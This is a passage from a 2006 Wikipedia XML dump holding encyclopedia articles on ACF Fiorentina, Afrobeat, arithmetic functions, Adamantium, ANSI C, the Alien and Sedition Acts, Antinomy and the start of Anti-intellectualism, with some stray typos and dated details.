# {{note|kitz2}} [[Kitzmiller v. Dover Area School District]]

[[Category:Evolutionary biology]]
[[Category:Intelligent design]]
[[Category:Creationism]]
[[Category:Scientific method]]</text>
    </revision>
  </page>
  <page>
    <title>ACF Fiorentina</title>
    <id>3165</id>
    <revision>
      <id>42042050</id>
      <timestamp>2006-03-03T11:46:41Z</timestamp>
      <contributor>
        <username>Poulsen</username>
        <id>523305</id>
      </contributor>
      <minor />
      <comment>shorten intro</comment>
      <text xml:space="preserve">{{Football club infobox |
  clubname = Fiorentina |
  image    = [[Image:Acf_fiorentina.gif|75px|logo]] |
  fullname = ACF Fiorentina SpA |
  nickname = ''Viola'' (Purple)|
  founded  = August 26, 1926 (AC Fiorentina)&lt;br&gt;2002 (ACF Fiorentina) |
  ground   = [[Stadio Artemio Franchi (Florence)|Stadio Artemio Franchi]],&lt;br/&gt;[[Florence]], [[Italy]] |
  capacity = 47,282 | 
  chairman = [[Andrea Della Valle]] |
  manager  = [[Cesare Prandelli]] |
  league   = [[Serie A]] |
  season   = 2004-05 |
  position = [[Serie A]], 16th |
  pattern_la1=|pattern_b1=|pattern_ra1=|
  leftarm1=800080|body1=800080|rightarm1=800080|shorts1=800080|socks1=800080|
  pattern_la2=|pattern_b2=|pattern_ra2=|
  leftarm2=FFFFFF|body2=FFFFFF|rightarm2=FFFFFF|shorts2=FFFFFF|socks2=FFFFFF|
  shirtsupplier=[[Lotto]] |
  shirtsponsors=[[Toyota]]
}}

'''ACF Fiorentina''', formerly '''Associazione Calcio Fiorentina''', is an [[Italy|Italian]] [[football (soccer)|football]] club based in [[Florence]] (Firenze), [[Tuscany]]. The club's traditional colors were originally red and white but were changed to purple and white in 1928; since then, the club has been generally known as &quot;i Viola&quot; (the purple ones). The club usually plays at the 47,282-capacity all-seater 'Comunale' Stadium &quot;[[Stadio Artemio Franchi|Artemio Franchi]]&quot; (known until 1991 as ''Comunale di Firenze'', which had itself replaced the &quot;Giovanni Francesco Berta&quot; in the 1930s).

==History==
The club was founded on [[August 26]] [[1926]] by the merger of ''Libertas'' and ''Club Sportivo Firenze''. The club won its first trophy in 1939-40 with the [[Coppa Italia]] and its first ''[[scudetto]]'' (Italian championship) in 1955-[[1956]], the club were runners-up in the four following seasons. In the 1960-[[1961]] season the club won the Coppa Italia again and was also successful in Europe, winning the first [[Cup Winners' Cup]] against [[Rangers F.C.|Rangers]]. 

In the [[1960s]] the club won the Coppa Italia and the [[Mitropa Cup]] in 1966 and were league champions again in the 1968-[[1969]] season. In 1974 the ''Viola'' won the [[Anglo-Italian Cup]]. Success in the Coppa Italia was repeated in 1975, but from then until the late [[1990s]] the club found itself in the doldrums, culminating in a season in [[Serie B]] (second division) in 1993-[[1994]]. Upon return to [[Serie A]] the club again proved able in the cup competitions, winning the Coppa Italia again in 1996 and 2000 and the Italian SuperCoppa.

2001 heralded major changes for Fiorentina, as the terrible state of the club's finances was revealed; they were unable to pay wages and had debts of around USD 50 million. The club owner, Vittorio Cecchi Gori, was able to raise some more money, but even this soon proved to be insufficient resources to sustain the club. Then, Fiorentina were relegated at the end of the 2001-2002 season and went into judicially controlled administration in June 2002. This form of [[bankruptcy]] (sports companies cannot exactly fail in this way in Italy, but they can suffer a similar procedure) meant that the club was refused a place in Serie B for the 2002-2003 season, and as a result, effectively ceased to exist. 

The club was promptly re-established in August 2002 as '''Florentia Viola''' with a new owner, Diego Della Valle, and was admitted into [[Serie C2]], one of the lower tiers in Italian football. The only player to remain at the club as they began their new life was [[Angelo Di Livio]], whose commitment to the cause of resurrecting the club further endeared him to the fans. Helped by Di Livio, the club won it's regional section in Serie C2 with considerable ease at the end of the 2002-2003 season, which would normally have led to a promotion to Serie C1. However, due to the bizarre [[Calcio Catania|''Caso Catania'']] (Catania Case) the club skipped Serie C1 and was admitted into Serie B. This was only possible because the [[Italian Football Federation]] chose to resolve the Catania situation by increasing the number of teams in Serie B from 20 to 24. In the 2003 off-season, the club also bought back the right to use the Fiorentina name and the famous shirt design, and re-incorporated itself as ACF Fiorentina. Matches were still being played at the Artemio Franchi stadium. 

The club's unusual double promotion was not without controversy, with some suggesting that Fiorentina did not deserve it; however, the club remained in Serie B and managed to finish the 2003-2004 season in sixth place. This achievement placed the Viola in a two-legged [[test match (football)|playoff]] against [[A.C. Perugia|Perugia]] (the 15th-place finisher in Serie A) for a position in Serie A. Fiorentina completed their remarkable comeback by winning the match 2-1 on aggregate, with both goals scored by Enrico Fantini, to gain promotion back to Serie A. In their first season back in Italian football's top flight, the club struggled to avoid relegation, securing survival only on the last day of the season, and avoiding a relegation playoff only on head-to-head record against [[Bologna F.C. 1909|Bologna]] and [[Parma F.C.|Parma]]. So far in 2005-06, their form has greatly improved, and they are currently in contention for a [[UEFA Champions League|Champions League]] place. The combination of Jorgensen, Fiore and Toni proved to be dominant as Toni scored over 21 goals so far.

==Honours==

'''Serie A winners'''

*1955/56
*1968/69

'''Coppa Italia winners'''

*1939/1940
*1960/1961
*1995/1966
*1974/1975
*1995/1996
*2000/2001

'''Cup Winners' Cup winners'''

*1960/1961[http://www.uefa.com/competitions/ECWC/news/Kind=8192/newsId=3573.html]

'''Cup Winners' Cup runners up'''

*1961/1962[http://www.uefa.com/competitions/ECWC/news/Kind=8192/newsId=3571.html]

'''Champions' League runners up'''

*1956/57

'''UEFA Cup runners up'''

*1989/1990

==Current first team squad==
''As of February 3, 2006''
{{Football squad start}}
{{Football squad player|no=1|nat=France|name=[[Sebastien Frey]]|pos=GK|other=on loan from [[Parma F.C.|Parma]]}}
{{Football squad player|no=2|nat=Denmark|name=[[Per Krøldrup]]|pos=DF}}
{{Football squad player|no=3|nat=Italy|name=[[Dario Dainelli]]|pos=DF|other=captain}}
{{Football squad player|no=4|nat=Italy|name=[[Marco Donadel]]|pos=MF}}
{{Football squad player|no=5|nat=Italy|name=[[Alessandro Gamberini]]|pos=DF}}
{{Football squad player|no=7|nat=Brazil|name=[[Guilherme Raymundo Do Prado]]|pos=MF}}
{{Football squad player|no=8|nat=Bulgaria|name=[[Valeri Bojinov]]|pos=FW}}
{{Football squad player|no=10|nat=Italy|name=[[Stefano Fiore]]|pos=MF|other=on loan from [[Valencia CF|Valencia]]}}
{{Football squad player|no=13|nat=Italy|name=[[Marco Roccati]]|pos=GK}}
{{Football squad player|no=14|nat=Italy|name=[[Davide Brivio]]|pos=DF|other=from youth team}}
{{Football squad player|no=17|nat=Italy|name=[[Michele Pazienza]]|pos=MF|other=on loan from [[Udinese Calcio|Udinese]]}}
{{Football squad player|no=18|nat=Italy|name=[[Riccardo Montolivo]]|pos=MF}}
{{Football squad player|no=19|nat=Chile|name=[[Luis Jiménez]]|pos=MF}}
{{Football squad mid}}
{{Football squad player|no=20|nat=Denmark|name=[[Martin Jørgensen]]|pos=MF}}
{{Football squad player|no=21|nat=Czech Republic|name=[[Tomas Ujfalusi]]|pos=DF}}
{{Football squad player|no=22|nat=Romania|name=[[Bogdan Lobonţ]]|pos=GK}}
{{Football squad player|no=23|nat=Italy|name=[[Manuel Pasqual]]|pos=MF}}
{{Football squad player|no=26|nat=Italy|name=[[Giuseppe Pancaro]]|pos=DF}}
{{Football squad player|no=27|nat=Italy|name=[[Marco Di Loreto]]|pos=DF}}
{{Football squad player|no=29|nat=Italy|name=[[Gianpaolo Pazzini]]|pos=FW}}
{{Football squad player|no=30|nat=Italy|name=[[Luca Toni]]|pos=FW}}
{{Football squad player|no=32|nat=Italy|name=[[Cristian Brocchi]]|pos=MF|other=on loan from [[A.C. Milan|AC Milan]]}}
{{Football squad player|no=33|nat=Italy|name=[[Niccolò Manfredini]]|pos=GK|other=from youth team}}
{{Football squad player|no=99|nat=Italy|name=[[Gianluca Berti]]|pos=GK}}
{{Football squad player|no=&amp;mdash;|nat=Italy|name=[[Andrea Paolucci]]|pos=MF}}
{{Football squad end}}

==Famous players==
===1950s &amp; 60s===
*{{flagicon|Brazil}} [[Amarildo]]
*{{flagicon|Italy}} [[Luciano Chiarugi]]
*{{flagicon|Italy}} [[Giancarlo De Sisti]]
*{{flagicon|Sweden}} [[Kurt Hamrin]]
*{{flagicon|Brazil}} [[Julinho]]
*{{flagicon|Italy}} [[Mario Maraschi]]
*{{flagicon|Italy}} [[Aurelio Milani]]
*{{flagicon|Argentina}} {{flagicon|Italy}} [[Miguel Montuori]]
*{{flagicon|Italy}} [[Alberto Orzan]]
*{{flagicon|Italy}} [[Giuliano Sarti]]
*{{flagicon|Italy}} [[Giuseppe Virgili]]
===1970 to 80s===
*{{flagicon|Italy}} [[Giancarlo Antognoni]]
*{{flagicon|Italy}} [[Roberto Baggio]]
*{{flagicon|Italy}} [[Giovanni Galli]]
*{{flagicon|Italy}} [[Francesco Graziani]]
*{{flagicon|Argentina}} [[Daniel Passarella]]
===1990s to present===
*{{flagicon|Italy}} [[Daniele Adani]]
*{{flagicon|Brazil}} [[Adriano Leite Ribeiro|Adriano]]
*{{flagicon|Italy}} [[Lorenzo Amoruso]]
*{{flagicon|Argentina}} [[Gabriel Batistuta]]
*{{flagicon|Italy}} [[Enrico Chiesa]]
*{{flagicon|Italy}} [[Angelo Di Livio]]
*{{flagicon|Brazil}} [[Dunga]]
*{{flagicon|Brazil}} [[Edmundo]]
*{{flagicon|Germany}} [[Stefan Effenberg]]
*{{flagicon|Russia}} [[Andrei Kanchelskis]]
*{{flagicon|Denmark}} [[Brian Laudrup]]
*{{flagicon|Italy}} [[Fabrizio Miccoli]]
*{{flagicon|Serbia and Montenegro}} [[Predrag Mijatovic]]
*{{flagicon|Japan}} [[Hidetoshi Nakata]]
*{{flagicon|Brazil}} {{flagicon|Belgium}} [[Luis Oliveira]]
*{{flagicon|Portugal}} [[Rui Costa]]
*{{flagicon|Italy}} [[Francesco Toldo]]
*{{flagicon|Italy}} [[Luca Toni]]

==External links==
* {{it icon}} {{en icon}} {{jp icon}} [http://www.acffiorentina.it Official website]
* {{it icon}} [http://groups.google.com/groups?hl=en&amp;lr=&amp;ie=UTF-8&amp;safe=off&amp;group=it.sport.calcio.fiorentina ACF Fiorentina Newsgroup]
* {{it icon}} [http://www.fiorentina.it/home02.asp?IDCategoria=1 ACF Fiorentina Fansite]
* {{en icon}} [http://www.resultsfromfootball.com/seriea-team/acfiorentina.html Fiorentina statistics]

{{Serie A}}

[[Category:Italian football clubs|Fiorentina]]

[[Category:Florence|Fiorentina]]

[[ca:A.C.F. Fiorentina]]
[[cs:ACF Fiorentina]]
[[de:AC Florenz]]
[[es:Associacione Calcio Fiorentina]]
[[fr:AC Fiorentina]]
[[it:A.C.F. Fiorentina]]
[[he:פיורנטינה]]
[[nl:AC Fiorentina]]
[[ja:フィオレンティーナ]]
[[pl:ACF Fiorentina]]
[[pt:ACF Fiorentina]]
[[fi:ACF Fiorentina]]
[[sv:ACF Fiorentina]]
[[zh:佛罗伦萨足球俱乐部]]</text>
    </revision>
  </page>
  <page>
    <title>AC Milan</title>
    <id>3166</id>
    <revision>
      <id>15901528</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[A.C. Milan]]
</text>
    </revision>
  </page>
  <page>
    <title>Afrobeat</title>
    <id>3168</id>
    <revision>
      <id>41761334</id>
      <timestamp>2006-03-01T15:36:13Z</timestamp>
      <contributor>
        <username>Siva1979</username>
        <id>755590</id>
      </contributor>
      <minor />
      <comment>wikification</comment>
      <text xml:space="preserve">'''Afrobeat''' is a combination of [[United States|American]] [[funk]] [[rhythm]]s fused with [[Africa]]n [[Percussion_instrument|percussion]] and [[vocal]] styles. 

Popularized in [[Africa]] in the mid to late [[1960s]].  Afrobeat's most famous artist was the [[Nigeria]]n multi-[[Musical instruments|instrument]]alist and [[bandleader]] [[Fela Kuti]] who actually coined the term, constructed the musical structure and shaped the political context of the genre. He launched afrobeat in [[Lagos]] in [[1968]].

Afrobeat also had influences from [[high-life]] music, a style of African pop-jazz. Kuti had earlier played this type of music with the [[Koola Lobitos]] band.

There are certain crucial elements to '''Afrobeat''' that would be encountered in almost all examples of the genre:

* [[Big band]]: A large group of musicians playing various instruments (Fela Kuti's band in the 80s ''Egypt 80'' featured 80 musicians);
* Energy: Energetic, exciting and with high tempo, [[polyrhythmic]] percussion;
* Repetition: The same musical movements are repeated many times;
* [[Improvisation]]: Performing without set music;
* Combination of genres: A mixture of various musical influences.
  
Afrobeat originated from the southern part of [[Nigeria]] in the 60s, influenced probably by the American [[free jazz]] movement. [[Fela Kuti|Fela Anikulapo Kuti]] went through experimenting different forms of music - first by highlife jazz, and then other forms of contemporary music of the time and local African harmonies and rhythms, taking different elements and combining, modernizing and improvizing thoae rythyms. 

[[Politics]] is essential to the genre of Afrobeat, since the founder [[Fela Kuti]] was deeply concerned in social criticism to pave way to social change. The message can be described as confrontational and controversial, which can be related to the political climate of most of the African countries in the 60s, which dealt with political injustice and military corruption while recovering from the transition from the colonial governments to self-determination. 

As the genre spread throughout the African continent, many bands took up the style in the 60s and 70s. The recordings of these bands and their songs were hardly heard or exported to outside the originating countries and can be classified rare.

Jazz musicians have always been attracted to afrobeat. From Roy Ayers in the seventies to Randy Weston in the nineties there have been collaborations which have resulted in albums like africa centre of the world by Roy Ayers released on the polydor label in 1981. In 1994 branford marsalis the American jazz saxophonist would include samples of Fela's beast of No nation in his Buckshot le Fonque album.

Afrobeat has profoundly influenced important contemporary producers like Brian Eno who credits Fela Kuti as an influence.

New generation DJs of the 2000s who have fallen in love with both Kuti's material and other rare releases have made compilations and remixes off of these recordings, thus re-introducing the genre to new generations of listeners and fans of afro-pop and groove.

Post-Fela, the Afrobeat scene is spreading and the music seems to have taken root on the global music scene. There is a diverse group of bands influenced by the music operating out of different countries. A  list of Acts to watch would definitely include Femi Kuti (Fela's first son and a saxophonist) and the positive force, Ayetoro (a group led by Nigerian piano player/composer Funsho Ogundipe), Antibalas (All-American Afrobeat band formed by baritone saxophonist Martin Perna) and finally, Tony Allen the man who held the drum chair during Fela's productive Africa 70 phase.  

== References and External Links ==
*[http://www.afrodizz.com/ AFRODIZZ band website]
*[http://www.modiba.net/music.html ASAP: the Afrobeat Sudan Aid Project -- an all-charity compilation]
*[http://www.zozoafrobeat.com/ ZoZo Afrobeat]
*[http://www.chopteeth.com/ Chopteeth Afrofunk Big Band website]
*[http://www.afrobeatdown.com/ Afrobeat Down website]
*[http://www.slipcue.com/music/international/africa/aa_styles/afrobeat_01.html Slipcue -Afrobeat]
* [http://www.bbc.co.uk/worldservice/learningenglish/music/musicdirectory/afrobeat.shtml BBC Afrobeat Documentary]
*[http://www.antibalas.com/ Antibalas Afrobeat Orchestra website]
*[http://www.theafromotive.com/ The Afromotive website]
*[http://www.toubabkrewe.com/ Toubab Krewe website]
*[http://www.ayetoro.com  Afrobeat website]

[[Category:Musical genres]]
[[Category:African music]]

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  </page>
  <page>
    <title>Association football</title>
    <id>3169</id>
    <revision>
      <id>15901531</id>
      <timestamp>2004-03-15T18:00:35Z</timestamp>
      <contributor>
        <username>Anthony DiPierro</username>
        <id>34793</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT[[football (soccer)]]</text>
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  </page>
  <page>
    <title>Arithmetic function</title>
    <id>3170</id>
    <revision>
      <id>41352089</id>
      <timestamp>2006-02-26T20:10:41Z</timestamp>
      <contributor>
        <username>Mscalculus</username>
        <id>851190</id>
      </contributor>
      <comment>/* Examples */  added omega(n)</comment>
      <text xml:space="preserve">In [[number theory]], an '''arithmetic function''' (or '''number-theoretic function''') ''f''(''n'') is a [[Function (mathematics)|function]] defined for all positive [[integer|integers]] and having values in the [[complex number|complex numbers]]. In other words: an arithmetic function is nothing but a [[sequence]] of complex numbers.

The most important arithmetic functions are the [[additive function|additive]] and the [[multiplicative function|multiplicative]] ones. 

An important operation on arithmetic functions is the [[Dirichlet convolution]].

Arithmetic functions may be studied with [[Bell series]].

==Examples==

The articles on additive and multiplicative functions contain several examples of arithmetic functions. Here are some examples that are neither additive nor multiplicative: 

* ''c''&lt;sub&gt;4&lt;/sub&gt;(''n'') - the number of ways that ''n'' can be expressed as the sum of four squares of nonnegative integers, where we distinguish between different orders of the summands. For example:

::1 = 1&lt;sup&gt;2&lt;/sup&gt;+0&lt;sup&gt;2&lt;/sup&gt;+0&lt;sup&gt;2&lt;/sup&gt;+0&lt;sup&gt;2&lt;/sup&gt; = 0&lt;sup&gt;2&lt;/sup&gt;+1&lt;sup&gt;2&lt;/sup&gt;+0&lt;sup&gt;2&lt;/sup&gt;+0&lt;sup&gt;2&lt;/sup&gt; = 0&lt;sup&gt;2&lt;/sup&gt;+0&lt;sup&gt;2&lt;/sup&gt;+1&lt;sup&gt;2&lt;/sup&gt;+0&lt;sup&gt;2&lt;/sup&gt; = 0&lt;sup&gt;2&lt;/sup&gt;+0&lt;sup&gt;2&lt;/sup&gt;+0&lt;sup&gt;2&lt;/sup&gt;+1&lt;sup&gt;2&lt;/sup&gt;,

:hence ''c''&lt;sub&gt;4&lt;/sub&gt;(1)=4.

* ''P''(''n''), the [[Partition function (number theory)|Partition function]] - the number of representations of ''n'' as a sum of positive integers, where we don't distinguish between different orders of the summands. For instance: ''P''(2 · 5) = ''P''(10) = 42 and ''P''(2)''P''(5) = 2 · 7 = 14 &amp;ne; 42. 

* &amp;pi; (''n''), the [[Prime number theorem|Prime counting function]] - the number of [[prime number|primes]] less than or equal to a given number ''n''. We have &amp;pi;(1) = 0 and &amp;pi;(10) = 4 (the primes below 10 being 2, 3, 5, and 7).

* &amp;omega; (''n''), the number of distinct [[prime number|primes]] dividing given number ''n''. We have &amp;omega;(1) = 0 and &amp;omega;(20) = 2 (the distinct primes dividing 20 being 2 and 5).

* &amp;Lambda;(''n''), the [[von Mangoldt function]] - ln(''p'') if ''n'' is an integer power of a prime ''p''; 0 for all other ''n''.

[[Category:Arithmetic functions|*]]

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  <page>
    <title>Adamantium</title>
    <id>3171</id>
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        <username>Localzuk</username>
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      <comment>Revert to revision 39199236 using [[:en:Wikipedia:Tools/Navigation_popups|popups]] - removed irrelevent addition. Article is about fictional substance</comment>
      <text xml:space="preserve">{{otheruses}}

'''Adamantium''' is a [[fictional chemical substance]], often a [[metal]].  The name comes from [[adamant]] or [[adamantine]] combined with the [[New Latin|Neolatin]] ending -ium, and  resembles the form of the names of the [[chemical element]]s.  In its classical meaning, adamant referred either to any hard substance, including [[diamond]], or a hypothetical impenetrable mineral; thus, adamantium often refers to a fictional impenetrable element or substance.

Uses of adamantium or similar substances in other works include:
* Several characters in the [[Marvel Universe]] use [[adamantium (comics)|adamantium]] equipment, or are themselves made out of adamantium. 
* Armor in [[The Elder Scrolls]] games.
* [[Warhammer 40,000]], in which it is used highly by the Adeptus Astartes (Space Marines), in their armour and vehicles. This version of Adamantium is not impenetrable, merely very hard.
* Weapons and armors in [[Ancient Domains of Mystery|ADOM]]. Adamantium ore can also be found.
* Armor in [[Master of Orion II]].
* Weapons in [[Master of Magic]]. Built of adamantium ore, a terrain bonus.
* Handclock of [[Atomic Betty]].
* Weapons and armors in [[RuneScape]]. Adamantium ore and bars can also be found.
* Ores and plates in [[MapleStory]].
* Rope in [[Untold Legends]].
* In the [[Final Fantasy]] video game series to create incredibly powerful weapons and armor, including in [[Final Fantasy (video game)|Final Fantasy I]] to make that world's version of [[Excalibur]]
* In the movie ''[[Forbidden Planet]]'' (1956), the stuctures built by the long-extinct Krell were made of adamantium.
* In the novel ''[[Gridlinked]]'', the protagonists find an artifact composed of adamantium that was a prison for an energy being.  It was commented that since humans only knew how to crystalize the metal that a race who could fashion objects out of it must be much more advanced.
* In the [[Warcraft]] universe, the black dragon Deathwing had adamantium plate scales welded to his body by goblins.



==See also==
* [[adamant]]
* [[mithril]]
* [[scrith]]
* [[unobtainium]]

[[Category:Fictional materials]]

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  </page>
  <page>
    <title>ANSI C</title>
    <id>3172</id>
    <revision>
      <id>38146557</id>
      <timestamp>2006-02-04T14:20:29Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <minor />
      <comment>[[Category:C programming language]]</comment>
      <text xml:space="preserve">A software developer might say that their [[source code]] is written in '''ANSI C''', meaning the code conforms to the requirements specified in the published standard for the [[C programming language]].

The first standard for C was published by [[ANSI]].  Although this document was subsequently adopted by [[ISO]] and subsequent revisions published by ISO have been adopted by ANSI, the name ANSI C (rather than ISO C) has stuck.

Some software developers use the term '''ISO C''', while others are standard's body neutral and use '''Standard C'''.

Other uses of the term include:

* what does '''ANSI C''' say?: what relevant requirements, if any, are contained in the C Standard?
* '''ANSI C''': The published standard for C.

[[de:Varianten der Programmiersprache C]]
[[sv:ANSI C]]
[[Category:C programming language]]</text>
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  </page>
  <page>
    <title>Alien and Sedition Acts</title>
    <id>3173</id>
    <revision>
      <id>41849123</id>
      <timestamp>2006-03-02T03:22:54Z</timestamp>
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        <username>Sheldrake</username>
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      <comment>Revert to revision 41526119 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">The '''Alien and Sedition Acts''' were passed during the administration of [[President of the United States|President]] [[John Adams]]; his signature made them into law on [[July 14]], [[1798]]. They were designed to protect the [[United States]] from &quot;dangerous&quot; aliens. 

==Component laws==
There were actually four separate laws making up what is commonly referred to as the &quot;Alien and Sedition Acts&quot;: 

# The ''Alien Enemies Act'' authorized the president to imprison (or deport) any alien from an enemy nation (one the United States was fighting).
# The ''Alien Friends Act'' authorized the president to deport any alien considered dangerous, in both war and peacetime.
# The ''[[Naturalization Act of 1798|Naturalization Act]]'' extended the duration of residence required for aliens to become citizens, nearly tripling it from five years to 14.
# The ''Sedition Act'' made it a crime to publish &quot;false, scandalous, and malicious writing&quot; against the government or its officials.

==History== 
With war looming against a major power, [[France]], [[Federalist]]s in [[United States Congress|Congress]], in 1798, passed the laws to protect US security. They were similar to (but not as stringent as) laws passed at about the same time in the [[Kingdom of Great Britain|United Kingdom]] and [[British North America|Canada]] in response to the threat of subversion by agents of the [[Revolutionary France|radical French government]]. [[Jeffersonian]]s, however, recognized that the laws were to be used as a tool of the ruling Federalist party to extend and retain their power, silencing any opposition. Because most immigrants became Democratic-Republicans, the Naturalization Act's longer residency requirement meant that fewer of them could become citizens and vote against the Federalists. Under the Alien and Alien Enemies Acts, the president could deport any &quot;dangerous&quot; or &quot;enemy&quot; alien—-a law that is still in effect in 2006.

Under the Sedition Act, anyone &quot;opposing or resisting any law of the United States, or any act of the President of the United States&quot; could be imprisoned for up to two years. It was also illegal to &quot;write, print, utter, or publish&quot; anything critical of the president or Congress. (It was notable that the Act did not prohibit criticism of the Vice-President. Jefferson held the office of Vice-President at the time the Act was passed so the law left him open to attack.) While it appears harsh to current Americans, the act was actually much more lenient than the traditional British law of [[seditious libel]]. For instance:

*The act required the defamatory words to be false, and it permitted the defendant to plead truth as a defense, unlike traditional seditious libel law, in which truth actually made the offense greater (&quot;The greater the truth, the greater the libel.&quot;). In other words, as long as someone uttered or published the truth, he could not be convicted under the Sedition Act.

*The act required the defendant to know of the defamatory words' falsity. In other words, someone who uttered a falsehood believing it to be the truth could not be convicted. 

*The act allowed the use of a jury to determine both the facts and the law in the case, unlike traditional seditious libel.

Despite these modifications, however, Jeffersonians denounced the Sedition Act as a violation of the [[First Amendment to the United States Constitution|First Amendment]] of the [[United States Bill of Rights]], which granted the right of [[free speech]]. Although the Federalists hoped the Act would muffle the opposition, Democratic-Republicans still &quot;wrote, printed, uttered and published&quot; their criticisms of the Federalists. Indeed, they strongly criticised the act itself, and used it as an election issue. The act expired when the term of President Adams ended in 1800.

[[Thomas Jefferson]] and [[James Madison]] opposed the Acts, and drafted the [[Kentucky and Virginia Resolutions]] in protest, calling on the states to, in effect, veto federal legislation. 

Ultimately the Acts backfired against the Federalists; President Adams himself never supported the laws or used them. No aliens were actually deported, and only ten people were ever convicted of sedition. 

Although the [[Supreme Court of the United States|Supreme Court]] never ruled on the validity of any of the Alien and Sedition acts, subsequent mentions of the Sedition Act in particular in Supreme Court opinions have assumed that it was unconstitutional. For example in the seminal Free Speech case of ''[[New York Times v. Sullivan]]'', the Court declared, &quot;Although the Sedition Act was never tested in this Court, the attack upon its validity has carried the day in the court of history.&quot; 376 U.S. 254, 276 (1964).

==See also==
* [[Alien Act of 1705]] in England
* [[Alien Registration Act]] of 1989
* [[Sedition Act of 1861]]
* [[Sedition Act of 1918]]

==References==
* Elkins, Stanley M. and  Eric McKitrick, ''The Age of Federalism'' (1995), the standard scholarly history of 1790s.
* Miller,  John Chester. ''Crisis in Freedom: The Alien and Sedition Acts'' (1951)
* Rehnquist, William H. ''Grand Inquests: The historic Impeachments of Justice Samual Chase and President Andrew Johnson'' (1994); Chase was impeached and acquitted for his conduct of a trial under the Sedition act.
* Rosenfeld, Richard N. ''American Aurora: A Democratic-Republican Returns: The Suppressed History of Our Nation's Beginnings and the Heroic Newspaper That Tried to Report It'' (1997)
* Smith, James Morton. ''Freedom's Fetters: The Alien and Sedition Laws and American Civil Liberties'' (1967).
* Stone, Geoffrey R.''Perilous Times: Free Speech in Wartime from The Sedition Act of 1798 to The War on Terrorism'' (2004).
* Wright, Barry. &quot;Migration, Radicalism, and State Security: Legislative Initiatives in the Canadas and the United States c.1794–1804&quot; in ''Studies in American Political Development,'' Volume 16, Issue 01, April 2002, pp 48-60

==External links==
* [http://www.loc.gov/rr/program/bib/ourdocs/Alien.html Alien and Sedition Acts and related resources at the Library of Congress]
* [http://lexrex.com/enlightened/laws/alien_sedition.html Full text of Alien and Sedition Acts]

[[Category:1798 in law]]
[[Category:United States federal immigration and nationality legislation]]</text>
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  </page>
  <page>
    <title>Antinomy</title>
    <id>3175</id>
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        <username>Hairy Dude</username>
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      </contributor>
      <minor />
      <comment>replaced ad hoc disambig notice with {{distinguish2}} - would like to ditch the boldface but I don't want to risk another edit war...</comment>
      <text xml:space="preserve">{{distinguish2|[[Antimony|Anti'''m'''o'''n'''y]], a [[chemical element]]}}

'''Antinomy''' ([[Greek language|Greek]] &amp;alpha;&amp;nu;&amp;tau;&amp;iota;-, against, plus &amp;nu;&amp;omicron;&amp;mu;&amp;omicron;&amp;sigmaf;, law, literally, the mutual incompatibility, real or apparent, of two laws) is a term used in [[logic]] and [[epistemology]], which, loosely, means a [[paradox]] or unresolvable contradiction.

The term acquired a special significance in the philosophy of [[Immanuel Kant]], who used it to describe the equally rational but contradictory results of applying to the universe of pure thought the categories or criteria of understanding proper to the universe of sensible perception or [[experience]] (phenomena).  Reason cannot here play the role of establishing rational truths because it goes beyond possible experience and is applied to the sphere of that which [[transcendence (philosophy)|transcends]] it.

These antinomies are four--two mathematical, two dynamical--connected with
# the limitation of the universe in respect of space and time,
# the theory that the whole consists of indivisible atoms (whereas, in fact, none such exist),
# the problem of freedom in relation to universal causality,
# the existence of a universal being
about each of which pure reason contradicts the empirical, as thesis and antithesis.
This was part of Kant's critical program of determining limits to [[science]] and [[philosophy|philosophical]] inquiry.  Kant claimed to solve these contradictions by saying, that in no case is the contradiction real, however really it has been intended by the opposing partisans, or must appear to the mind without critical enlightenment.  It is wrong, therefore, to impute to Kant, as is often done, the view that human reason is, on ultimate subjects, at war with itself, in the sense of being impelled by equally strong arguments towards alternatives contradictory of each other. The difficulty arises from a confusion between the spheres of phenomena and noumena. In fact no rational cosmology is possible. 

It can also be argued that antinomies do not highlight limitations in the power of logical reasoning. This is because the conclusion that there is a limitation is (supposedly) derived from the antinomy by logical reasoning; therefore any limitation in the validity of logical reasoning imposes a limitation on the conclusion that there is a limitation on logical reasoning. (This is an argument by [[self-reference]].) In short, in terms of the validity of logical reasoning as a whole, antinomies are self-isolating: they are like scattered discontinuities within the field of logic, incapable of casting doubt on anything else but themselves.

This carefree position is incompatible with the [[principle of explosion]]. In [[mathematical logic]], antinomies are patently not ''self-isolating'', and are usually seen as disasters for the [[formal system]] in which they arise (as [[Russell's paradox]] in [[Frege]]'s work).

== See also ==

* [[Interesting number paradox]]
* [[Richard's paradox]]
* [[Ship of Theseus]]
* [[Sorites paradox]]

== References ==

* John Watson, ''Selections from Kant'' (trans. Glasgow, 1897), pp. 155 foll.
* W. Windelband, ''History of Philosophy'' (Eng. trans. 1893)
* H. Sidgwick, ''Philos. of Kant'', lectures x. and xi. (Lond., 1905)
* F. Paulsen, ''I. Kant'' (Eng. trans. 1902), pp. 216 foll. 
* {{1911}}

{{FOLDOC}}

== External links==
* [http://www.emis.de/cgi-bin/zmen/ZMATH/en/quick.html?first=1&amp;maxdocs=3&amp;type=html&amp;an=0724.03003&amp;format=complete Logic of antinomies]

[[Category:logic]]

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[[zh:二律背反]]</text>
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  </page>
  <page>
    <title>Anti-intellectualism</title>
    <id>3176</id>
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      <id>42010710</id>
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        <username>Skyfiler</username>
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      </contributor>
      <minor />
      <comment>/* See also */ [[To burn the classics and to bury the scholars]]</comment>
      <text xml:space="preserve">'''Anti-intellectualism''' describes a sentiment of hostility towards, or mistrust of, [[intellectuals]] and intellectual pursuits.  This may be expressed in various ways, such as an attack on the merits of [[science]], [[education]], or [[literature]].

[[Image:nast-intellect.png|thumb|300px|[[Political cartoon]]ist [[Thomas Nast]] contrasts an intellectual with a [[boxing|prize-fighter]].]]

Anti-intellectuals often seek to frame themselves as champions of the 'ordinary people', and as advocates of [[egalitarianism]] against [[elitism]], especially what they perceive as [[academic elitism]].  These critics argue from a perception that educated people form a [[social class]] by virtue of their education: that members of this class tend to talk chiefly to one another, and as such are remote from other points of view, and also that members of the intellectual elite tend to dominate [[politics|political]] discourse.  

Anti-intellectualism can also be used as a term used to criticize an educational system if it seems to place minimal emphasis on academic and intellectual accomplishment or a [[government]]'s tendency to formulate policies without consultation with authoritative and [[scholarly method|scholarly]] study on the issues in question.


== Causes ==

